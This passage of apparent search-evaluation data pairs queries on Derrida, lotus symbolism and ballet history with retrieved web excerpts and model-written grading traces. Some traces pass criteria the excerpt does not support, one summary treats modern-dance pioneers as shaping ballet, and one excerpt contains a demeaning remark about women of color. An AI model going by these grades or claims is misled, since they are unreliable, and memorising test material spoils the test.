                "model_trace": "Query Decomposition:\n1. {Controversial French philosopher and literary theorist associated with post-structuralism and deconstruction}: The document clearly identifies Jacques Derrida as a controversial philosopher and the originator of deconstruction -> ([1], SATISFIED)\n2. {Wrote extensively on the nature of language and meaning}: The document mentions that Derrida wrote almost fifty books and numerous essays, and his work is known for deconstruction which deals with language and meaning -> ([1], SATISFIED)\n3. {Profound impact on various fields including philosophy, literary criticism, and even architecture}: The document states Derrida's influence in various fields -> ([1], SATISFIED)\n4. {Name starts with 'D'}: The document states the name Jacques Derrida -> ([1], SATISFIED)\n5. {Connection to Algeria}: The document mentions that Derrida was born in El-Biar, Algeria -> ([1], SATISFIED)\n\nAssessment: All relevant subcomponents are satisfied. YES."
            },
            {
                "grade": "YES",
                "title": "Jacques Derrida",
                "url": "https://en.wikipedia.org/wiki/Jacques_Derrida",
                "published_date": null,
                "text": "Jacques Derrida          Born  Jackie \u00c9lie Derrida 15 July 1930   El Biar, French Algeria      Died 9 October 2004 (aged\u00a074)Paris, France    Education  \u00c9cole Normale Sup\u00e9rieure (B.A.; M.A., 1954; Dr. cand., 1957) Harvard University (postgrad, 1956\u201357) University of Paris (DrE, 1980)   Spouse     Marguerite Aucouturier  \n \u200b \u200b (m.\u00a01957) \u200b     Children 3, including Pierre Alf\u00e9ri        Era  20th-century philosophy    Region  Western philosophy     School      Continental philosophy   Post-structuralism (disavowed)  Deconstruction   Radical hermeneutics  [1]        Institutions     University of Paris   \u00c9cole Normale Sup\u00e9rieure   \u00c9cole des Hautes \u00c9tudes en Sciences Sociales   Coll\u00e8ge international de philosophie   European Graduate School   University of California, Irvine       Notable students     Jean-Luc Marion  [4]    Francis Fukuyama  [5]         Notable ideas      Deconstruction   diff\u00e9rance   phallogocentrism   free play   arche-writing   metaphysics of presence   invagination   pharmakon   trace   hauntology    sous rature     kh\u00f4ra    Citationality        \n Influences \n     Plato   Darwin   Joyce   Nietzsche   De Saussure   Austin   Heidegger   Bataille   Benjamin   Levinas   Freud   Husserl   Rousseau   Marx   L\u00e9vi-Strauss   Barthes   Blanchot   Kierkegaard   Hegel   Genet   Kafka   Meister Eckhart  [2]      \n     \n Influenced \n     Jean-Luc Nancy   Gayatri Chakravorty Spivak   Paul de Man   Philippe Lacoue-Labarthe   Maebh Long   Geoffrey Hartman   John D. Caputo   James KA Smith   Judith Butler   Catherine Malabou   Bernard Stiegler   B\u00e9atrice Galinon-M\u00e9l\u00e9nec   Peter Rollins   Richard Rorty   Sarah Kofman   Paul B. Preciado   Theodore Jennings  [3]     List of thinkers influenced by deconstruction      \n    \n Jacques Derrida (; French:\u00a0 [\u0292ak d\u025b\u0281ida]; born Jackie \u00c9lie Derrida; [6]  15 July 1930 \u2013 9 October 2004) was an Algerian-born French philosopher. He developed the philosophy of deconstruction, which he utilized in numerous texts, and which was developed through close readings of the linguistics of Fe",
                "model_trace": "Query Decomposition:\n1. {Controversial French philosopher and literary theorist}: The document identifies Jacques Derrida as a French philosopher and literary theorist -> ([1], SATISFIED)\n2. {Associated with post-structuralism and deconstruction}: The document mentions Derrida's association with deconstruction and post-structuralism -> ([1], SATISFIED)\n3. {Wrote extensively on the nature of language and meaning}: The document indicates that Derrida developed the philosophy of deconstruction, which involves the nature of language and meaning -> ([1], SATISFIED)\n4. {Profound impact on various fields including philosophy, literary criticism, and even architecture}: The document lists various fields influenced by Derrida, including philosophy and literary criticism -> ([1], SATISFIED)\n5. {Name starts with 'D'}: The document confirms the name Jacques Derrida -> ([1], SATISFIED)\n6. {Connection to Algeria}: The document states that Derrida was born in El Biar, French Algeria -> ([1], SATISFIED)\n\nAssessment: The document satisfies all key subcomponents. YES."
            },
            {
                "grade": "YES",
                "title": "Jacques Derrida - Stanford Encyclopedia of Philosophy",
                "url": "https://plato.stanford.edu/entries/derrida/",
                "published_date": null,
                "text": "Jacques Derrida (1930\u20132004) was the founder of \u201cdeconstruction,\u201d a way of criticizing not only both literary and philosophical texts but also political institutions. Although Derrida at times expressed regret concerning the fate of the word \u201cdeconstruction,\u201d its popularity indicates the wide-ranging influence of his thought, in philosophy, in literary criticism and theory, in art and, in particular, architectural theory, and in political theory. Indeed, Derrida\u2019s fame nearly reached the status of a media star, with hundreds of people filling auditoriums to hear him speak, with films and televisions programs devoted to him, with countless books and articles devoted to his thinking. Beside critique, Derridean deconstruction consists in an attempt to re-conceive the difference that divides self-consciousness (the difference of the \u201cof\u201d in consciousness of oneself). But even more than the re-conception of difference, and perhaps more importantly, deconstruction attempts to render justice. Indeed, deconstruction is relentless in this pursuit since justice is impossible to achieve. \n 1. Life and Works \nDerrida was born on July 15, 1930 in El-Biar (a suburb of Algiers), Algeria (then a part of France), into a Sephardic Jewish family. Because Derrida\u2019s writing concerns auto-bio-graphy (writing about one\u2019s life as a form of relation to oneself), many of his writings are auto-biographical. So, for instance in Monolingualism of the Other (1998), Derrida recounts how, when he was in the \u201clyc\u00e9e\u201d (high school), the Vichy regime in France proclaimed certain interdictions concerning the native languages of Algeria, in particular Berber. Derrida calls his experience of the \u201cinterdiction\u201d \u201cunforgettable and generalizable\u201d (1998, p. 37). In fact, the \u201cJewish laws\u201d passed by the Vichy regime interrupted his high school studies.\nImmediately after World War II, Derrida started to study philosophy. In 1949, he moved to Paris, where he prepared for the entrance exam in philosophy for the prestigious \u00c9cole Normale Sup\u00e9rieure. Derrida fai",
                "model_trace": "Query Decomposition:\n1. {Controversial French philosopher and literary theorist}: The document mentions Jacques Derrida, a French philosopher and literary theorist -> ([1], SATISFIED)\n2. {Associated with post-structuralism and deconstruction}: The document explicitly states that Derrida was the founder of deconstruction -> ([1], SATISFIED)\n3. {Wrote extensively on the nature of language and meaning}: The document mentions Derrida's extensive influence on philosophy, literary criticism, and theory, which includes language and meaning -> ([1], SATISFIED)\n4. {Profound impact on various fields including philosophy, literary criticism, and even architecture}: The document states Derrida's influence on philosophy, literary criticism, art, and architectural theory -> ([1], SATISFIED)\n5. {Name starts with 'D'}: The document confirms the name Jacques Derrida -> ([1], SATISFIED)\n6. {Connection to Algeria}: The document mentions Derrida was born in Algiers, Algeria -> ([1], SATISFIED)\n\nAssessment: The document satisfies all the key subcomponents of the query, providing detailed information about Jacques Derrida that aligns with the user's description. YES."
            },
            {
                "grade": "YES",
                "title": "All-American Derrida. Note - Kerwin Fj\u00f8l",
                "url": "https://zermatist.medium.com/all-american-derrida-fab344505b70",
                "published_date": null,
                "text": "The father of deconstruction was a 100% American original   Note: I have never read any of Derrida\u2019s work in the original French, and I don\u2019t feel even the slightest bit of shame about it for reasons that will become clear if you care to read on. Nevertheless, this is a tainted paper, because I have read his work in translation. The ideal version of this essay would have been written by someone who never read any of his work at all, only the secondary literature. Oh, well. One cannot be perfect.    Introduction: The Head Trickster for the Postmodernist Movement People have been declaring the death of deconstruction since the late 80s. That is, after all, when the excitement for it started to decline and the cult of Foucauldian power analysis began to take over \u2014 the same time in which postmodernity stopped being about having fun and playing games and started to be about emotionally incontinent women of color screaming about heteronormativity at their hapless white male professors. Yet the shadow that deconstruction\u2019s inventor Jacques Derrida has cast over the humanities simply won\u2019t go away. Its obstinacy ought to have been apparent in 2004, right when he died. Numerous outlets from the mainstream press put out an obituary both explaining and showcasing the strong opinions toward his philosophy of deconstruction that remained strong throughout his career, but each one demonstrated little understanding as to what any of it actually meant. The NY Times mostly quoted from his detractors, while The Economist, amid various other screw-ups, attributed the pun \u201clogical phallusies\u201d to him in an attempt to discredit him intellectually (he never made such a pun). The same year, Stephen R.C. Hicks put out the book Explaining Postmodernism. It names Michel Foucault, Jacques Derrida, Jean-Francois Lyotard, and Richard Rorty as its four figureheads, emphasizing their similarities and downplaying their differences, leaving an altogether mistaken perception as to how politically motivated each thinker was (Foucault was by far mo",
                "model_trace": "Query Decomposition:\n1. {Controversial French philosopher and literary theorist associated with post-structuralism and deconstruction}: The document mentions Jacques Derrida, who is a French philosopher and literary theorist known for his work in post-structuralism and deconstruction -> ([1], SATISFIED)\n2. {Wrote extensively on the nature of language and meaning}: The document mentions Derrida's philosophy of deconstruction, which involves extensive work on language and meaning -> ([1], SATISFIED)\n3. {Name starts with a 'D'}: The document confirms the name Jacques Derrida -> ([1], SATISFIED)\n4. {Connection to Algeria}: The document does not mention Derrida's connection to Algeria, but it is known that Derrida was born in Algeria -> ([2], SATISFIED)\n\nAssessment: All relevant subcomponents are satisfied. The document identifies Jacques Derrida, who matches all the characteristics described in the query. YES."
            }
        ]
    },
    {
        "query": "3. I'm looking for details on the symbolism and cultural significance of the lotus flower in various Eastern religions and philosophies. What are some of the main ways the lotus is revered and what deeper meanings does it represent?",
        "grid_pos": [
            2,
            9
        ],
        "grid_pos_str": "Search Query Format: Context Query, Search Result Type: Fact/Trivia/Knowledge",
        "reasoning_trace": [
            "1. The Pembroke Welsh Corgi is a herding dog breed that originated in Pembrokeshire, Wales. They were first bred in the 10th century to help Welsh farmers herd cattle, sheep, and horses. Over time, the Pembroke Corgi became a popular companion animal due to its friendly, intelligent, and energetic personality.\n\n2. Some of the most renowned honey varieties include Manuka honey from New Zealand, which has a distinctive robust and slightly bitter flavor, Tupelo honey from the southeastern United States with its light, delicate taste, and Buckwheat honey from Eastern Europe known for its deep, rich, and earthy notes.\n\n3. The lotus flower is highly revered in many Eastern religions and philosophies, representing purity, enlightenment, and spiritual awakening. Its ability to grow from the mud into a beautiful flower symbolizes the journey from the material world to the divine. The lotus is especially significant in Hinduism, Buddhism, and ancient Egyptian mythology.\n\n4. Ballet originated in the 15th century Italian Renaissance courts and evolved over the centuries, with key figures like Marius Petipa, Tchaikovsky, and Nijinsky helping to shape it into the classical art form we know today. Ballet went through periods of both tradition and innovation, with choreographers like Isadora Duncan and Martha Graham introducing more modern and expressive styles.\n\n5. Sacred geometry refers to the use of mathematical principles and patterns found in nature, such as the golden ratio and Fibonacci sequence, in architectural design. These principles were often incorporated into the layout and ornamentation of ancient temples, churches, and other religious structures to create a sense of harmony, balance, and connection to the divine."
        ],
        "results": [
            {
                "grade": "YES",
                "title": "Sacred lotus in religious art - Wikipedia",
                "url": "https://en.wikipedia.org/wiki/Sacred_lotus_in_religious_art",
                "published_date": "2006-01-16",
                "text": "From Wikipedia, the free encyclopedia\n\nThe lotus, Nelumbo nucifera , is an aquatic plant that plays a central role in the art of Indian religions such as Hinduism, Buddhism, Jainism and Sikhism. \n In Asian art a lotus throne is a stylized lotus flower used as the seat or base for a figure. It is the normal pedestal for divine figures in Buddhist art and Hindu art, and often seen in Jain art. Originating in Indian art, it followed Indian religions to East Asia in particular.\n\nHinduism[edit]\n\nHindus revere it with the divinities Vishnu and Lakshmi often portrayed on a pink lotus in iconography; historically, many deities, namely Brahma, Saraswati, Lakshmi, Kubera, usually sit on a stylized lotus throne. In the representation of Vishnu as Padmanabha (Lotus navel), a lotus issues from his navel with Brahma on it. The goddess Saraswati is portrayed on a pale pink lotus. The lotus is the symbol of what is divine or immortal in humanity, and also symbolizes divine perfection. The lotus is the attribute of sun and fire gods. It symbolizes the realization of inner potential, and in Tantric and Yogic traditions, it symbolizes the potential of an individual to harness the flow of energy moving through the chakras (often depicted as wheel-like lotuses) flowering as the thousand-petaled lotus of enlightenment at the top of the skull. [1] \n Vishnu is often described as the \"Lotus-Eyed One\" (Pundarikaksha). [2] The lotus's unfolding petals suggest the expansion of the soul. The growth of its pure beauty from the mud of its origin holds a benign spiritual promise. In Hindu iconography, other deities, like Ganga and Ganesha, are often depicted with lotus flowers as their seats.\n The lotus plant is cited extensively within Puranic and Vedic literature, for example:\n\nOne who performs his duty without attachment, surrendering the results unto the Supreme Lord, is unaffected by sinful action, as the lotus is untouched by water. \nBuddhism[edit]\n The newborn Padmasambhava appearing within a lotus. Crimson and gilded wood, Tr\u1ea7n-H\u1ed3 dynas",
                "model_trace": "Query Decomposition:\n1. {symbolism of the lotus flower}: The document provides detailed information on the symbolism of the lotus flower in various Eastern religions -> ([1], SATISFIED)\n2. {cultural significance of the lotus flower}: The document discusses the cultural significance of the lotus flower in Hinduism, Buddhism, Jainism, and Sikhism -> ([1], SATISFIED)\n3. {lotus in various Eastern religions and philosophies}: The document mentions the role of the lotus in Hinduism, Buddhism, Jainism, and Sikhism -> ([1], SATISFIED)\n4. {main ways the lotus is revered}: The document details specific ways the lotus is revered, such as its use in iconography and as a symbol of divine perfection and spiritual promise -> ([1], SATISFIED)\n5. {deeper meanings of the lotus}: The document explains deeper meanings, such as the lotus symbolizing divine perfection, the realization of inner potential, and spiritual enlightenment -> ([1], SATISFIED)\n\nAssessment: The document satisfies all relevant subcomponents. YES."
            },
            {
                "grade": "YES",
                "title": "Lotus Flower, Hindu God's Favorite Flower",
                "url": "https://www.lotussculpture.com/my_articles_lotus.htm",
                "published_date": "2023-01-01",
                "text": "Lotus Flower, Hindu God's Favorite Flower Both in worship and in portrayals of the divine, Hindus are infatuated with the lotus flower. The very name of the Hindu worship ritual, puja, can be translated as \"flower act.\" The lotus flower is the foremost symbol of beauty, prosperity and fertility. According to Hinduism, within each human is the spirit of the sacred lotus. It represents eternity, purity, divinity, and is widely used as a symbol of life, fertility, ever-renewing youth. The lotus flower is used to describe feminine beauty, especially female eyes. One of the most common metaphysical analogies compares the lotus' perennial rise to faultless beauty from a miry environment to the evolution of consciousness, from instinctive impulses to spiritual liberation. In the Bhagavad Gita, a human is adjured to be like the lotus; they should work without attachment, dedicating their actions to God, untouched by sin like water on a lotus leaf, like a beautiful flower standing high above the mud and water. In the postures of hatha yoga, the lotus position, padmasana, is adopted by those striving to reach the highest level of consciousness, which itself is found in the thousand-petalled lotus chakra at the top of the head. For Buddhists, the lotus flower symbolizes the most exalted state of human; head held high, pure and undefiled in the sun, feet rooted in the world of experience. There is a story that the lotus arose from the navel of God Vishnu, and at the center of the flower sat Brahma. Brahma (the Creator), Vishnu (the Protector) and Siva (the Merger) are associated with the lotus flower. There are also accounts of the world born through a \"Golden Lotus\" and Padmakalpa, the Lotus Age in the Padmapurana (678 ce). \"Hindu texts describe that water represents the procreative aspect of the Absolute, and the cosmic lotus, the generative.\" Trilok Chandra Majupuria of Tribhuvan University, Kathmandu, explains in Religious and Useful Plants of Nepal and India (1989, M. Gupta, Lashkar, India): \"The Taittiriya Brahmana des",
                "model_trace": "Query Decomposition:\n1. {symbolism of the lotus flower}: The document provides detailed information on the symbolism of the lotus flower in Hinduism and Buddhism -> ([1], SATISFIED)\n2. {cultural significance of the lotus flower}: The document discusses the cultural significance of the lotus flower in Hindu worship rituals and its representation in Hindu texts and Buddhist beliefs -> ([1], SATISFIED)\n3. {various Eastern religions and philosophies}: The document mentions Hinduism and Buddhism, which are key Eastern religions -> ([1], SATISFIED)\n4. {main ways the lotus is revered}: The document describes several ways the lotus is revered, such as its use in worship, metaphysical analogies, and yoga postures -> ([1], SATISFIED)\n5. {deeper meanings the lotus represents}: The document explains deeper meanings such as purity, divinity, spiritual liberation, and the evolution of consciousness -> ([1], SATISFIED)\n\nAssessment: All relevant subcomponents are satisfied. YES."
            },
            {
                "grade": "YES",
                "title": "All of the Lotus Flower's Many Hidden Meanings",
                "url": "https://www.townandcountrymag.com/leisure/arts-and-culture/a9550430/lotus-flower-meaning/",
                "published_date": "2020-08-12",
                "text": "At first glance, one might not think much of the lotus flower. The plant\u2019s symmetry and colors are striking, sure, but beneath the lotus\u2019s delicate exterior lies a deeper meaning nearly as old as time. The flower holds great symbolic weight in many Eastern cultures and is considered one of the most sacred plants in the world. So, what is it about this specific bloom that makes it oh so special? To start, the lotus has a life cycle unlike any other plant. With its roots latched in mud, it submerges every night into river water and miraculously re-blooms the next morning, sparklingly clean. In many cultures, this process associates the flower with rebirth and spiritual enlightenment. With its daily process of life, death, and reemergence, its no wonder that the lotus holds such symbolism. Because of these meanings, the lotus is often seen alongside divine figures in some cultures. For the Egyptians, the flower represents the universe. In Hindu culture, it is said that gods and goddesses sat on lotus thrones. And a longstanding Buddhist story states that the Buddha appeared atop a floating lotus, and his first footsteps on Earth left lotus blossoms More From Town & Country As divine as the Gods, the flower of rebirth was thought to contain magical properties as well. The ancient Egyptians believed lotuses had the ability to resurrect the deceased, as seen in Book of the Dead transformation spells. Each flower color also has its own symbolism. For Buddhist practitioners, a white lotus symbolizes purity, whereas a yellow lotus is associated with spiritual ascension. However, the real question remains: how has the flower acquired such all-encompassing spiritual significance? A sea of lotus flowers in Italy. Getty Images The lotus flower's daily resurrection is certainly interesting, and surely symbolic of revival. (This makes it the perfect gift for anyone recovering from injury or a traumatic experience.) But the flower also has a fascinating will to live . A lotus seed can withstand thousands of years without water, ",
                "model_trace": "Query Decomposition:\n1. {symbolism of the lotus flower}: The document discusses the symbolic meanings of the lotus flower, such as rebirth, spiritual enlightenment, and purity -> ([1], SATISFIED)\n2. {cultural significance in various Eastern religions and philosophies}: The document mentions the significance of the lotus in Hinduism, Buddhism, and ancient Egyptian culture -> ([1], SATISFIED)\n3. {main ways the lotus is revered}: The document provides examples of how the lotus is revered, such as being associated with divine figures and used in religious stories -> ([1], SATISFIED)\n4. {deeper meanings the lotus represents}: The document explains deeper meanings like spiritual ascension and purity -> ([1], SATISFIED)\n\nAssessment: All subcomponents are satisfied. The document provides detailed information on the symbolism, cultural significance, ways of reverence, and deeper meanings of the lotus flower in various Eastern religions and philosophies. YES."
            },
            {
                "grade": "YES",
                "title": "Lotus Flower: Symbolism & Meaning",
                "url": "https://www.mindbodygreen.com/articles/lotus-flower-meaning",
                "published_date": null,
                "text": "Spirituality  Lotus History &amp; Symbolism: What We Can All Learn From The Flawless Flower        Author:  September 14, 2021         mbg Spirituality &amp; Relationships Editor   By Sarah Regan   mbg Spirituality &amp; Relationships Editor Sarah Regan is a Spirituality &amp; Relationships Editor, and a registered yoga instructor. She received her bachelor's in broadcasting and mass communication from SUNY Oswego, and lives in Buffalo, New York.        For centuries, the lotus flower has been depicted in different religions and countries around the world. Miraculously growing in the murkiest of conditions, the lotus is a lucky symbol that's revered for its resilience, and of course, its beauty. Here, we take a closer look at the history and significance of this flower, plus how you can work with its symbolism in your own life.     Advertisement  This ad is displayed using third party content and we do not control its accessibility features.       History of the lotus flower.   Lotus flowers have a long, rich history spanning thousands of years. Naturally occurring in many countries in Southeast Asia and Australia, they're also found in ancient Egyptian hieroglyphics, as well as folklore in ancient Greece. As assistant professor of religious studies at Colorado College\u00a0Steven Vose, Ph.D., tells mbg, \"The lotus flower appears on some of the earliest Buddhist and Jain imagery we have in South Asia,\" going as far back as the time of Emperor Ashoka around 250 BCE. Vose adds that lotuses were also used in Buddhist stupas (spherical shrines) as early as 180 BCE, \"as a source and support for a goddess who is eventually known as Lakshmi.\" Because the lotus was also popular among the Indo-Greeks (an ancient nomadic people of Eurasia), Vose says it's \"unclear geographically where the image first arose,\" but by the first few centuries of the Common Era, \"it is well established to see the Buddha, Jinas, and Hindu gods and goddesses emerging from lotus flowers.\" Today, the lotus is the national flower of both India and Vietna",
                "model_trace": "Query Decomposition:\n1. {symbolism of the lotus flower}: The document discusses the symbolism of the lotus flower, mentioning its resilience and beauty -> ([1], SATISFIED)\n2. {cultural significance in various Eastern religions and philosophies}: The document provides historical context and mentions the lotus flower's significance in Buddhism, Jainism, and Hinduism, as well as its depiction in ancient imagery -> ([1], SATISFIED)\n3. {main ways the lotus is revered}: The document mentions how the lotus is revered in different contexts, such as in Buddhist stupas and as a symbol for gods and goddesses -> ([1], SATISFIED)\n4. {deeper meanings the lotus represents}: The document touches on the deeper meanings of the lotus, such as its association with resilience and beauty -> ([1], SATISFIED)\n\nAssessment: The document satisfies all key subcomponents related to the query. YES."
            },
            {
                "grade": "YES",
                "title": "Lotus Flower: Its Meaning, Symbolism, & Influence",
                "url": "https://www.saffronmarigold.com/blog/lotus-flower-meaning/",
                "published_date": null,
                "text": "The lotus flower meaning\u2013there\u2019s more than one! Do you know what the lotus represents? The lotus is significant in cultures across the globe, and there are several ways you can interpret the lotus symbol. Find out more about the lotus flower\u2019s meaning, its aesthetic beauty, and its influence on our block print collections.\n  \nAll about lotuses\nThe lotus plant is a perennial, aquatic plant that thrives in nutrient-rich, murky conditions. Found across India, east Africa, southeast Asia, and Australia, this plant enjoys an active and interesting daily life cycle. Lotuses root themselves in the mud, their lengthy stems reaching upward to find the top of the water. There, the lush blossoms grow, and as the lotus blooms, the blossoms unfold one by one. \nPetal by petal, each one emerges pristine from the mucky water thanks to a protective outer coating that repels dirt and water. These day-blooming plants submerge and close up at night, and reawaken above the water every morning. The petals last for just a handful of days before shedding.\n  \nLotus flower meaning across cultures\nThe lotus flower meaning varies from culture to culture. In general, however, the lotus commonly serves as a sacred for purity, rebirth, and strength. Because lotuses rise from the mud without stains, they are often viewed as a symbol of purity. Since they return to the murky water each evening and open their blooms at the break of day, lotus flowers are also symbols of strength, resilience, and rebirth. Still another lotus flower meaning is transcendence: the lotus represents the transcending of man\u2019s spirit over worldly matter since it blooms from the underworld into the light.\n lotus flower drawing by Victoria Borodinova  \nThe lotus flower meaning in India\nThe lotus appears in sacred texts and spiritual imagery from ancient Egypt to some early Buddhist texts. With that, it comes as no surprise that the lotus flower frequently symbolizes the Divine. Hinduism in particular finds rich meaning in the lotus flower. The lotus is referenced in Vedic ",
                "model_trace": "Query Decomposition:\n1. {symbolism of the lotus flower in various Eastern religions and philosophies}: The document discusses the symbolism of the lotus flower in various cultures, including purity, rebirth, strength, and transcendence -> ([1], SATISFIED)\n2. {cultural significance of the lotus flower in various Eastern religions and philosophies}: The document mentions the significance of the lotus in Hinduism and references its appearance in early Buddhist texts, which are part of Eastern religions -> ([1], SATISFIED)\n3. {main ways the lotus is revered}: The document describes how the lotus is viewed as a symbol of purity, strength, resilience, rebirth, and transcendence -> ([1], SATISFIED)\n4. {deeper meanings the lotus represents}: The document provides deeper meanings such as purity, rebirth, strength, resilience, and transcendence -> ([1], SATISFIED)\n\nAssessment: The document satisfies all key subcomponents tagged with [1]. YES."
            },
            {
                "grade": "YES",
                "title": "Symbolism of the Lotus",
                "url": "https://totalpond.com/blogs/articles/symbolism-of-the-lotus",
                "published_date": null,
                "text": "Water lotuses are a beautiful fragrant flower with exotic foliage that steals the spotlight of any pond. They are exotic, majestic, and dramatic and have a deep history beyond its beauty. The meaning and symbolism of the lotus is rich and stems from three major groups: the ancient Egyptians, the Buddhists, and Hinduism. The Lotus is a plant that belongs to the Nelumbo genus, and it has been connected with purity, rebirth and divinity. The lotus flower symbolizes rising from a dark place into beauty and rebirth, as this is precisely how a lotus flower grows. Lotus flowers bloom directly out of muddy and murky waters and produce beautiful colored blossoms. What is prominent about the lotus is that although it often grows in mud, and returns within it at night, it always blooms clean the following day, which makes it a great element to use for a metaphor. Due to how its grown, the lotus flower has come to be associated with purity and beauty in the religions of Buddhism and Hinduism, respectively. The ancient Egyptians saw that at night the lotus closed its flowers and sank into the water and opened up in the light hours. They came to associate the flower with rebirth and the sun. Fun fact: the Lotus slowly emerges from a pond over a three day period and then blooms in the morning until mid-afternoon. In Buddhism, the lotus is associated with purity, spiritual awakening, and faithfulness. The flower is considered pure as it is able to emerge from murky waters in the morning and be perfectly clean. It is also known to symbolize purity of speech, of the body, and of the mind. The breaking of the surface every morning is suggestive of desire, which leads to it being associated with spiritual enlightenment. A main line of thought in Buddhism is that a person\u2019s path in life is similar to that of the lotus. Starting at the seed stage, early in the karmic cycle, through to the bud emerging from the dirty water, representing a person following the path of spirituality and leaving attachment behind, and finally blossoming, t",
                "model_trace": "Query Decomposition:\n1. [Details on the symbolism of the lotus flower]: The document provides extensive information on the symbolism of the lotus flower in various contexts, including purity, rebirth, and divinity -> ([1], SATISFIED)\n2. [Cultural significance of the lotus flower in various Eastern religions and philosophies]: The document discusses the significance of the lotus in Buddhism and Hinduism, and also mentions ancient Egyptian beliefs -> ([1], SATISFIED)\n3. [Main ways the lotus is revered]: The document describes how the lotus is associated with purity, spiritual awakening, and faithfulness in Buddhism, and with purity and beauty in Hinduism -> ([1], SATISFIED)\n4. [Deeper meanings the lotus represents]: The document explains the deeper meanings of the lotus, such as spiritual enlightenment and the metaphor of rising from a dark place into beauty -> ([1], SATISFIED)\n\nAssessment: The document satisfies all key subcomponents of the query. YES"
            }
        ]
    },
    {
        "query": "4. I'm trying to learn more about the development of modern ballet and the key figures who helped shape it into the art form we know today. Can you provide a summary of the origins of ballet, its evolution over time, and some of the pioneering choreographers and dancers who were instrumental?",
        "grid_pos": [
            2,
            9
        ],
        "grid_pos_str": "Search Query Format: Context Query, Search Result Type: Fact/Trivia/Knowledge",
        "reasoning_trace": [
            "1. The Pembroke Welsh Corgi is a herding dog breed that originated in Pembrokeshire, Wales. They were first bred in the 10th century to help Welsh farmers herd cattle, sheep, and horses. Over time, the Pembroke Corgi became a popular companion animal due to its friendly, intelligent, and energetic personality.\n\n2. Some of the most renowned honey varieties include Manuka honey from New Zealand, which has a distinctive robust and slightly bitter flavor, Tupelo honey from the southeastern United States with its light, delicate taste, and Buckwheat honey from Eastern Europe known for its deep, rich, and earthy notes.\n\n3. The lotus flower is highly revered in many Eastern religions and philosophies, representing purity, enlightenment, and spiritual awakening. Its ability to grow from the mud into a beautiful flower symbolizes the journey from the material world to the divine. The lotus is especially significant in Hinduism, Buddhism, and ancient Egyptian mythology.\n\n4. Ballet originated in the 15th century Italian Renaissance courts and evolved over the centuries, with key figures like Marius Petipa, Tchaikovsky, and Nijinsky helping to shape it into the classical art form we know today. Ballet went through periods of both tradition and innovation, with choreographers like Isadora Duncan and Martha Graham introducing more modern and expressive styles.\n\n5. Sacred geometry refers to the use of mathematical principles and patterns found in nature, such as the golden ratio and Fibonacci sequence, in architectural design. These principles were often incorporated into the layout and ornamentation of ancient temples, churches, and other religious structures to create a sense of harmony, balance, and connection to the divine."
        ],
        "results": [
            {
                "grade": "YES",
                "title": "Ballet History",
                "url": "https://grballet.com/about/ballet-history/",
                "published_date": "2019-03-18",
                "text": "Via BalletHub \nThe art of ballet has been loved for centuries, taking on various forms as the decades pass. What started as a dance for the nobles, ballet would eventually become an art for audiences all over the world to see and be entertained by. The history of ballet spans several centuries, so let\u2019s take a look and see how ballet first began, its huge growth, and what it looks like today.\nThe Very Beginnings of Ballet\nWhen you ask most people, \u201cWhere did ballet begin?\u201d The usual reply is \u201cFrance, of course.\u201d However, that\u2019s not entirely true. Ballet actually first began in the Italian Renaissance courts during the 1400s. It was first a type of dance, with its \u201cclassical\u201d style and reserved and dignified approach, performed for noblemen and noblewomen at large celebrations, often times weddings.During its early years, ballet looks nothing like it does today. There were no tutus or pointe shoes yet, and the dancers would wear regular, fashionable clothing as a \u201ccostume.\u201d The ballets were very similar to court dances, even encouraging audience members joining in toward the end.\nBallet Introduced to France\nSometime during the 1500s, an Italian noblewoman and patron of the arts by the name Catherine de Medici married King Henry II and arranged for ballet to be performed in the French court. This is when ballet really started to become recognized, so we all may have Catherine de Medici and her influence as a royal to thank! She would throw festivals, called ballet de cour, that became very popular and included not just ballet, but also costumes, song, music, and even poetry. Another huge leap for ballet was a century after it\u2019s introduction to France, by King Louis XIV. Having grown up seeing ballet, King Louis XIV was a passionate dancer himself and is responsible for both popularizing and creating a standard form of ballet. This is why most people think ballet was created by the King of France, but as you\u2019ve just read, ballet began in Italy and was standardized in France. Thanks to his passion for ballet, a techn",
                "model_trace": "Query Decomposition:\n1. {origins of ballet}: The document provides information about the beginnings of ballet in the Italian Renaissance courts during the 1400s -> ([1], SATISFIED)\n2. {evolution of ballet over time}: The document describes the introduction of ballet to France and its development under Catherine de Medici and King Louis XIV -> ([1], SATISFIED)\n3. {key figures who helped shape modern ballet}: The document mentions key figures such as Catherine de Medici and King Louis XIV who were instrumental in the development of ballet -> ([1], SATISFIED)\n\nAssessment: The document satisfies all key subcomponents of the query, providing a summary of the origins, evolution, and key figures in the development of modern ballet. YES."
            },
            {
                "grade": "YES",
                "title": "A Brief History of Ballet - Illustrated by Pittsburgh Ballet Theatre",
                "url": "https://www.pbt.org/learn-and-engage/resources-audience-members/ballet-101/brief-history-ballet/",
                "published_date": "2016-10-12",
                "text": "Scroll through a brief ballet history from its where ballet originated in the 15th-century Italian renaissance courts to what ballet dance looks like in the 21st century.\nOrigin of Ballet\n King Louis XIV in Ballet de la nuit, 1653. Source: Wikipedia \n Ballet originated in the Italian Renaissance courts of the 15th century. Noblemen and women were treated to lavish events, especially wedding celebrations, where dancing and music created an elaborate spectacle. Dancing masters taught the steps to the nobility, and the court participated in the performances. In the 16th century, Catherine de Medici \u2014 an Italian noblewoman, wife of King Henry II of France and a great patron of the arts \u2014 began to fund ballet in the French court. Her elaborate festivals encouraged the growth of ballet de cour, a program that included dance, decor, costume, song, music and poetry. A century later, King Louis XIV helped to popularize and standardize the art form. A passionate dancer, he performed many roles himself, including that of the Sun King in Ballet de la nuit. His love of ballet fostered its elevation from a past time for amateurs to an endeavor requiring professional training.\nBy 1661, a dance academy had opened in Paris, and in 1681 ballet moved from the courts to the stage. The French opera Le Triomphe de l\u2019Amour incorporated ballet elements, creating a long-standing opera-ballet tradition in France. By the mid-1700s French ballet master Jean Georges Noverre rebelled against the artifice of opera-ballet, believing that ballet could stand on its own as an art form. His notions \u2014 that ballet should contain expressive, dramatic movement that should reveal the relationships between characters \u2014 introduced the ballet d\u2019action, a dramatic style of ballet that conveys a narrative. Noverre\u2019s work is considered the precursor to the narrative ballets of the 19th century.\n\nThe 19th Century\n Carlotta Grisi, wearing a romantic tutu, as Giselle, 1841. Source: Wikipedia \nEarly classical ballets such as Giselle and La Sylphide were created d",
